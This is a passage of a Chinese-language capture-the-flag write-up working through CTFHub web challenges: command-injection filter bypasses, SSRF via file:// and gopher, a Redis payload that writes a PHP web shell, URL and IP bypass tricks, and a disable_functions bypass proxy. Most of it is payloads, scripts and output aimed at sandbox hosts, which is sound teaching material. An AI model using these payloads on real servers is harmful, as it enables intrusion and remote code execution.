    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

以下是绕过空格的部分方法。

代码语言:javascript
复制
cat${IFS}flag.txt
cat$IFS$9flag.txt 
cat<flag.txt 
cat<>flag.txt
绕过空格的一些方法
绕过空格的一些方法

在bash情况下都能实现,但是zsh下只有<<>成功了。

zsh下的情况
zsh下的情况

估计在bash情况下{IFS}和IFS

过滤目录分隔符

部分源码

代码语言:javascript
复制
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

flag在一个目录下边。但是过滤了/,那怎么办呢?先cd进去不就行了2333

payload

代码语言:javascript
复制
1; cd flag_is_here && cat flag_14385852030406.php

过滤运算符

部分源代码

代码语言:javascript
复制
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

它过滤了&|,但是我命令连接符号一直用的;呀2333。

代码语言:javascript
复制
1;cat flag_15157229854259.php

综合过滤练习

这个综合练习就非常狠了啊,过滤了一堆。

部分源代码

代码语言:javascript
复制
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

但是大部分题目都知道了如何绕过,但是这个所有命令连接符& | ;全部被过滤的情况我还是第一次见。

查询资料过后发现可以用换行符来绕过。(但是直接在Linux上貌似不能这样用,应该是php奇怪的特性

官方的wp说的是

官方wp
官方wp

但其实这几个url编码其实就是\n \r\n\r

以下为payload脚本

代码语言:javascript
复制
import requests
from urllib import parse
from bs4 import BeautifulSoup

id = parse.quote("1\ncd${IFS}fla*\ntac${IFS}f*")
burp0_url = f"http://challenge-b57b1d23d9161cc7.sandbox.ctfhub.com:10800/?ip={id}"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-b57b1d23d9161cc7.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}
respoonse = requests.get(burp0_url, headers=burp0_headers).text
soup = BeautifulSoup(respoonse, 'html.parser')
print(soup.pre)

哦对了,它还过滤了flag。可以用cd fla*来进入目录和用tac f*来读flag。

这里还用到了BeautifulSoup这个库来方便得观察response。

响应中有一堆无关信息,有用得信息在<pre>标签中。

pre标签
pre标签

我们可以用soup.pre来将pre标签从响应中拿出来观察。十分方便。

ctf
ctf

SSRF

内网访问

提示内网的flag.php。url中有url参数。填入即可。

题干
题干
ctf
ctf

看了一下别人的wp。发现更好的填法应该是?url=http://127.0.0.1/flag.php

伪协议读取文件

直接上http协议的话没有看到flag。估计flag藏在php的注释中,无法直接看到。

直接http
直接http

可以用file协议来读文件。

代码语言:javascript
复制
http://challenge-b5191e365b757889.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
ctf
ctf

端口扫描

这道题提示flag在8000-9000端口中。

一开始用Burp直接爆破 端口。但是貌似由于请求速度过快,导致一些页面返回503,从而无法得到正确答案,但是我也不知道这个怎么设置2333。我的这个Burp版本和网上的也不太一样 。

image-20210908104845140
image-20210908104845140

然后我就用python写脚本试端口。一开始用的代码时burp上直接转化出来的,它有一个特点就是get没有params值,最后也没有正确得到结果。

Copy as requests
Copy as requests

最后还是自己改一下吧2333,加上了params参数。不能太迷信工具。

代码语言:javascript
复制
import requests

for port in range(8000, 9000):
    burp0_url = f"http://challenge-85119fa5ff180354.sandbox.ctfhub.com:10800/"
    param = {"url": f"http://127.0.0.1:{port}"}
    response = requests.get(burp0_url, params=param).text
    if(response == ""):
        print(f"port: {port} failed!")
    else:
        print(f"port: {port} success!")
        print(response)
        break

最后在8162端口找到了flag。

port 8162
port 8162

POST请求

dirsearch扫描后发现flag.phpindex.php

dir
dir

它还是提供了url参数来供我们访问内网文件。我们可以分别利用http协议和file协议来查看文件。

flag.php 神秘key
flag.php 神秘key
代码语言:javascript
复制
# view-source:http://challenge-97df9c16e9c64c56.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
代码语言:javascript
复制
# view-source:http://challenge-97df9c16e9c64c56.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

我们仔细观察flag.php文件的内容即可发现,只要伪造来自内网的请求,然后post一个提供的key260a97ac2ef360dec36238c7d6c49c25即可得到flag。

但是这种伪造可不好实现。php中的$_SERVER["REMOTE_ADDR"],它会返回当前浏览页面的用户的ip地址。

这并不是简单的修改HTTP报文能够实现的。查看过wp之后,我了解到了gopher协议。

gopher协议(攻击内网服务的万金油):gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

相当于我们得利用这个gopher协议来让题目的机器给flag.php发送一个post请求包。这里就把ctfhub这个专题的名字SSRF(Server-Side Request Forgery) 服务器端请求伪造演示的淋漓尽致了。我们将利用gopher协议模拟服务器向flag.php的请求。

查询过资料后gopher协议中的post请求需要包含几个必要的字段HOSTContent-Length,Content-Type

同时需要经过两层url加密,为什么呢?因为一开始gopher协议给url参数传的时候浏览器会进行第一次url解码。传给php了,php那里的curl_exec相当于还是一次类浏览器操作,会进行第二次url解码。

此外还要注意第一次url编码后需要将%0A全部换为%0D0A。其实就是把换行符\n换为\r\n

换行符的url编码值
换行符的url编码值

Linux里的换行比较简约,一个\n即可。而Window的换行比较阔绰,多一个字符\r\n

这里需要换,估计是内网的机器是windows的?挺奇怪的。一般出题都是docker部署,应该都是Linux的呀2333。

代码语言:javascript
复制
from urllib.parse import quote

payload = \
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=260a97ac2ef360dec36238c7d6c49c25
"""
payload = quote(payload)
payload = payload.replace("%0A", "%0D%0A")
payload = f"gopher://127.0.0.1:80/_{quote(payload)}"
print(payload)
result
result
代码语言:javascript
复制
gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D260a97ac2ef360dec36238c7d6c49c25%250D%250A

我们把这一段payload加到url那里就可以得到flag啦!

flag
flag

gopher那里一开始Host我写的是127.0.0.1貌似不行,必须得指定端口。

上传文件

代码语言:javascript
复制
# view-source:http://challenge-608a043246aa77d5.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>
代码语言:javascript
复制
# view-source:http://challenge-608a043246aa77d5.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

查看过它的flag.php之后我们只要模拟服务器向flag.php发送一个文件即可获得flag。同样的,我们利用攻击内网服务万金油gopher协议来实现。

原题的上传压根就没有上传按钮,都没法抓包2333。于是我加了一个submit类型的input然后先把服务放在自己的机器上,进行抓包。

代码语言:javascript
复制
<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
模拟 抓包
模拟 抓包

然后删除不必要的字段,保留Host,Content-Length,Content-Type以及第一行的POST请求,注意对Host进行修改,修改成内网。得到以下POC。

代码语言:javascript
复制
from urllib.parse import quote

payload = \
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: multipart/form-data; boundary=---------------------------73242662227339777571999664765
Content-Length: 221

-----------------------------73242662227339777571999664765
Content-Disposition: form-data; name="file"; filename="upload.txt"
Content-Type: text/plain

1
-----------------------------73242662227339777571999664765--

"""
payload = quote(payload)
payload = payload.replace("%0A", "%0D%0A")
payload = f"gopher://127.0.0.1:80/_{quote(payload)}"
print(payload)

运行后可以生成以下gopher协议数据包。

代码语言:javascript
复制
gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------73242662227339777571999664765%250D%250AContent-Length%253A%2520221%250D%250A%250D%250A-----------------------------73242662227339777571999664765%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522upload.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A1%250D%250A-----------------------------73242662227339777571999664765--%250D%250A%250D%250A

之后把这一串放在url参数里发送就可以得到flag啦!

ctf
ctf

这里需要注意一点,我试了一下把Host写成http://127.0.0.1:80,无法得到flag。必须是规范的ip:port格式。

这类题只要了解了gopher协议本质上都差不多。

FastCGI协议

CGI 即 Common Gateway Interface 通用网关接口。php里常见到的fpm就是FastCGI Process Interface FastCGI进行管理器 的缩写。其作用就是让php作为一个外部拓展应用去与http服务器进行联系。

这道题就是让我们利用那个url参数发送gopher数据包来和在内网9000端口上的fastcgi建立联系,让它执行某种命令。

大致思路就是在fastcgi协议中加入两个重要的配置。

auto_prepend_file = php://input allow_url_include = On

auto_prepend_file会在所有的phpwe文件顶部加载文件。这里加载的是php://input,相当于把我们传递的php语句放在文件顶部从而实现任意命令执行。

当然php://input需要开启allow_url_include才能生效。

这道题看了wp后了解到一个挺好用的脚本,能够直接生成gopher报文。tarunkant/Gopherus

是用python2编写的,用起来十分简单。输入一个可用的php文件以及你想执行的命令即可。

gopherus
gopherus

它产生的gopher报文里内部的请求已经url编码了,但是我们把这个传递给题目的时候还需要再一次url编码。

ctf
ctf

Redis协议

昨天下载的Gopherus工具里就有Redis的payload2333。它的默认paylaod是这样的。

redis
redis

把它的paylaod url解码一下,结果是这样的。

代码语言:javascript
复制
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34


<?php system($_GET['cmd']); ?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

其中的*大概指的是接下去管的变量的个数,$后面跟的数是后面变量字符串的长度。

我们仔细观察它给出的payload可以观察到它的换行已经是%0D%0A了,所以这也就是昨天Fastcgi协议没有变换行就能直接ctf的原因。

所以今天这个也只要把它给的payload再经过一次url编码就是最终的payload了。

可以直接在burp里面进行变换。右键-> Convert Selection-> URL-> URLencode key characters即可实现把选中部分进行url编码。

然后我可以看看shell.php是否写入。

shell
shell

但是可能由于有一些多余数据的原因,导致蚁剑没法连接,但是无伤大雅,直接手动命令执行即可。

ls
ls
ls /
ls /
cat /flag
cat /flag

URL Bypass

题目
题目

题目提示必须以某个网站作为开始,但是我们的目标肯定是127.0.0.1,那怎么办呢?

查询过资料后发现url中有个神奇的字符@。使用过后,前面的网站直接失效,而去访问后面的网站。

这里直接能访问到我的博客2333。

代码语言:javascript
复制
http://challenge-1abe55a5f7cb9ddc.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@wuuconix.link:8000

test
test

payload

代码语言:javascript
复制
http://challenge-1abe55a5f7cb9ddc.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
ctf
ctf

数字IP Bypass

过滤
过滤

一开始提示过滤了127172@。查看资料后发现有很多ip有很多其他的形态,这里摘抄一下。

例如192.168.0.1 (1)、8进制格式:0300.0250.0.1 (2)、16进制格式:0xC0.0xA8.0.1 (3)、10进制整数格式:3232235521 (4)、16进制整数格式:0xC0A80001 还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

  1. http://0/
  2. http://127.1/
  3. 利用ipv6绕过,http://[::1]/
  4. http://127.0.0.1./

我便尝试了一下八进制的127.0.01。

过滤.
过滤.

结果又说过滤.了,佛了,那就再试试整数。

127.0.0.1的整数形式
127.0.0.1的整数形式
2130706433
2130706433
0x7f000001
0x7f000001

成功得到flag。

302跳转 Bypass

这道题出的十分不严谨,以下是它的index.php

代码语言:javascript
复制
?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

只是对ip做了最简单的过滤 ,这就导致上道题的payload完全试用。

payload
payload

看了其他人的wp后还发现一个很好用的payload。

代码语言:javascript
复制
?url=http://localhost/flag.php

那看题目名字是要让我们302跳转,那需要怎么做呢?

看网上的都是用的短域名服务来实现跳转,武丑兄作为拥有两个域名的大佬当然要自己写啦!

设置了一个二级域名302.wuuconix.link然后用nginx rewrite到http://127.0.0.1/flag.php上。

代码语言:javascript
复制
server
{
   listen 443 ssl;# https 监听的是 443端口
   server_name  302.wuuconix.link;
 
   keepalive_timeout 100;
 
   ssl_session_cache   shared:SSL:10m;
   ssl_session_timeout 10m;
 
   ssl_certificate /etc/nginx/ssl-link/fullchain.crt; # 证书路径
   ssl_certificate_key /etc/nginx/ssl-link/private.pem; # 请求认证 key 的路径

   ssl_protocols TLSv1.1 TLSv1.2;
   ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
   ssl_prefer_server_ciphers on;
   ssl_session_cache shared:SSL:10m;
   
   rewrite ^(.*) http://127.0.0.1/flag.php permanent;
}

server
{
   listen 80;
   server_name  302.wuuconix.link;
   rewrite ^(.*) https://$server_name$1 permanent;
}

其实只监听80端口然后rewrite就行,但是我的服务器都用了ssl证书,把上面443的端口监听删掉会出现莫名的错误,就保留啦,也就是多做了一次302跳转,最后的目的地是一致的2333。

flag
flag

成功得到flag。

DNS重绑定 Bypass

这道题和上一题不同,感觉应该是http服务设置的原因,明明index.phpflag.php几乎没变。

代码语言:javascript
复制
#view-source:http://challenge-2656dc822cd540bd.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
代码语言:javascript
复制
#view-source:http://challenge-2656dc822cd540bd.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}
echo getenv("CTFHUB");

但是前几题的paylaod都失效了。

不支持302跳转。

302 failed
302 failed
localhost
localhost

这样不知道为什么也不行,按理说这个请求是127.0.0.1的index.php发出的。

查看资料后了解到DNS重绑定的原理。

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

利用这个网站rbndr.us dns rebinding service (cmpxchg8b.com)来生成一个域名。

代码语言:javascript
复制
7f000001.08080808.rbndr.us

ctf
ctf

我想了半天这道题哪里体现出必须要DNS重绑定。感觉这道题就是在扯淡。

为了验证这种想法,我又设置了一个直接指向127.0.0.1的二级域名localhost.wuuconix.link

localhost.wuuconix.link
localhost.wuuconix.link
ctf
ctf

结果也能获得flag2333。

只能说这道题出的不好。

Bypass

disalbe_function——LD_PRELOAD

这道题开局让你连蚁剑,确实能连上,但是点开根目录下的flag是空的。

flag幻影
flag幻影

然后我试着在蚁剑的模拟终端里用命令来get flag,但是所有的命令都会返回ret=127。我查了一下,表示命令不可用。我是这样理解的。php一句话木马用get shell,但是这个shell本质上是利用php里面的系统命令实现的,而且用户是www-data。所以出题人可以对一些命令进行限制,但是我还是无法理解,明明蚁剑已经连接了,文件列表都显示出来了,按理说这些文件都是用ls来得到的,但是手动运行ls却不行,那蚁剑是如何得到文件列表的呢?

ret=127
ret=127

这里写出来题目php环境中过滤的函数。

代码语言:javascript
复制
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,
pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

我们可以看到常用的php命令执行函数system,shell_exec,exec,passthru都被ban了,我十分好奇蚁剑是怎么连接并且获取文件列表的。

我们暂时先这么理解,蚁剑用了某种神奇的方式得到了文件列表,但是因为cat 文件需要用到 比如system函数,但是这些函数都被ban掉了,所以我们只能看到flag幻影而无法得到flag。

然后蚁剑插件市场中有个厉害的插件就是专门用来绕过disable_functions的。

ant-sword plugins
ant-sword plugins

使用插件过后,html文件夹下 会出现.antproxy.php文件,其内容如下。

代码语言:javascript
复制
<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61416;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

我们连接这个文件后,打开模拟终端后就能够get flag啦

flag
flag

当然也可以不用插件,但是那种方法太难了,我无法理解2333,就不写了。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年8月18日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 背景
  • Web前置技能
    • HTTP协议——请求方式
      • HTTP协议——302跳转
        • HTTP协议——Cookie
          • HTTP协议——基础认证
            • HTTP协议——相应包源代码
            • 信息泄露
              • 目录遍历
                • PHPINFO
                  • 备份文件下载——网站源码
                    • 备份文件下载——bak文件
                      • 备份文件下载——vim缓存
                        • 备份文件下载——.DS_Store
                          • Git泄露——Log
                            • Git泄露——Stash
                              • Git泄露——Index
                                • SVN泄露
                                  • HG泄露
                                  • 密码口令
                                    • 弱口令
                                      • 默认口令
                                      • SQL注入
                                        • 整数型注入
                                          • 字符型注入
                                            • 报错注入
                                              • 布尔盲注
                                                • 时间盲注
                                                  • Cookie注入
                                                    • UA注入
                                                      • Refer注入
                                                        • 过滤空格
                                                        • XSS
                                                          • 反射型
                                                          • 文件上传
                                                            • 无验证
                                                              • 前端验证
                                                                • .htaccess
                                                                  • MIME绕过
                                                                    • 文件头检查
                                                                      • 00截断
                                                                        • 双写后缀
                                                                        • RCE
                                                                          • eval执行
                                                                            • 文件包含
                                                                              • php://input
                                                                                • 远程包含
                                                                                  • 读取源代码
                                                                                    • 命令注入
                                                                                      • 过滤cat
                                                                                        • 过滤空格
                                                                                          • 过滤目录分隔符
                                                                                            • 过滤运算符
                                                                                              • 综合过滤练习
                                                                                              • SSRF
                                                                                                • 内网访问
                                                                                                  • 伪协议读取文件
                                                                                                    • 端口扫描
                                                                                                      • POST请求
                                                                                                        • 上传文件
                                                                                                          • FastCGI协议
                                                                                                            • Redis协议
                                                                                                              • URL Bypass
                                                                                                                • 数字IP Bypass
                                                                                                                  • 302跳转 Bypass
                                                                                                                    • DNS重绑定 Bypass
                                                                                                                    • Bypass
                                                                                                                      • disalbe_function——LD_PRELOAD
                                                                                                                      相关产品与服务
                                                                                                                      命令行工具
                                                                                                                      腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
                                                                                                                      领券
                                                                                                                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档